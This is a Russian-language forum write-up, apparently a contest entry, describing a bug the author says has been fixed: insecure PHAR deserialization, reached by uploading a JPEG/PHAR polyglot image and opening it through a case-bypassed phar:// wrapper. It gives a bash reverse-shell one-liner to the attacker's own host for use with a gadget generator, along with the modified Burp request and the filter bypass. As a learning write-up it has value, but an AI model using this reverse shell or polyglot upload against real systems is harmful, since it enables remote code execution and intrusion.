Заметка Райтап на уязвимость Insecure Deserialization [конкурс]

Темы, которые НЕ подходят по объему под префикс "Статья"

zeroteks

One Level
17.05.2024
1
3
BIT
25
Всем привет!

Хотел бы поделиться небольшой заметкой, которую написал для конкурса
Прошу не судить строго, я не волшебник, а только учусь :)

Тип уязвимости: Insecure Deserialization

Общее описание:
Данная уязвимость возникает когда (очевидно) данные от пользователя преобразуются к структурированному виду. Если на этом этапе разработчиками не предусмотрены должные провероки - есть шанс на RCE. На самом деле не только RCE, импакт может быть разным (SQLi, arbitrary file read / write, зависит от ситуации).

Практический кейс:
Данная уязвимость разработчиками закрыта, однако некоторые детали я все-таки опущу.
Уязвимость была найдена абсолютно случайно, и представляет собой почти классический случай insecure deserialization. Вкратце, проходя верификацию аккаунта для одной платформы средней руки, пользователю предлагается загрузить документы для проверки и подтверждения личности. Документы эти я всеми правдами и неправдами пытался залить в PDF, но форма упорно их не принимала. Работали только картинки и тут появилась идея, имя которой PHAR. Описан данный кейс много где, в заметке ограничусь общими деталями.

PHAR - PHP архив. Метод хранения нескольких файлов в одном на манер всем известного JAR. В общем случае PHAR файл имеет следующую структуру:

1) PHP стаб, по факту это загрузчик, кусок PHP кода который выполняется при извлечении
2) Манифест, метаданные файлов внутри архива. *
3) Собственно сами файлы в архиве

Здесь, кстати, есть интересная аналогия всплывшая у меня в голове с бинарщиной. Недавно был опубликован райтап на багу на
Механизм такой же, и (о боги) до сих пор много где используется.

Дьявол кроется в деталях. Большинство файловых функций PHP поддерживают stream wrapper phar://
Если PHAR архив пропустить через сниппет вида:

Код:
if (file_exists($name)) {
    echo 'testme';
}

Где $name имеет вид phar://my/path/to/archive - PHP попробует десериализовать метачанк из архива. Что в случае если такое разработчиками не задумывалось может привести к интересным проблемам.

Итак для нашего кейса задача состояла в том, чтобы скормить архив-картинку серверу (обойдя проверку на формат файла). Здесь нам пригодится полиглот.
Полиглот (polyglot ) - это файл который валиден с точки зрения сразу нескольких форматов. Их много, варианты GIFAR (GIF + RAR), можно придумать с JSом, есть и с PHAR. На гите огромное количество утилит для генерации подобных файликов.

JPEG и PHAR форматы достаточно разные и нужно с точки зрения обоих чекалок сделать так чтобы они прошли проверку. Как работают большинство парсеров? Верно, проверяют magic bytes, сигны и т.д.

PHAR очень гибок в плане стаба. Туда можно запихать все что душе угодно и смастерить вот такое:

Код:
\xFF\xD8 _JPEG_DATA_ \xFF\xD8
__HALT_COMPILER(); _PHAR_DATA_

Кормим парсеру - JPEG, открываем через phar:// - стаб валидный - запускай архив.

Что делаем дальше:
На своем серваке поднимаем netcat

Ну и самый тупой пейлоад вида bash -c 'exec bash -i &>/dev/tcp/НАШ_IP/ХАКЕРСКИЙ_ПОРТ<&1' кормим генератору пейлоадов (как пример: PHPGCC)

Бурпом ловим запрос:


Код:
GET /api/ENDP.php?test=/app/upload/vuln.jpg HTTP/1.1
Host: CAFEBABE.com
Sec-Ch-Ua: "Not A Brand"; v="99", "Chromium"; v="94"
...


Посылаем в репитер, меняем ?test=/app/upload/vuln.jpg на ?test=phar:///app/upload/vuln.jpg

И... не сработало

Значит есть фильтр. Но в этом случае нам повезло, быстро нашелся обход - сервер очень просто и тупо проверял через non case-sensitive подстроку "phar" (это я вот подсмотрел). Переписываем на "PHAR" - viola!

verif2.jpg


P.S. Данная заметка была написана для телеграм канала @mirea aka @knightpentest
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!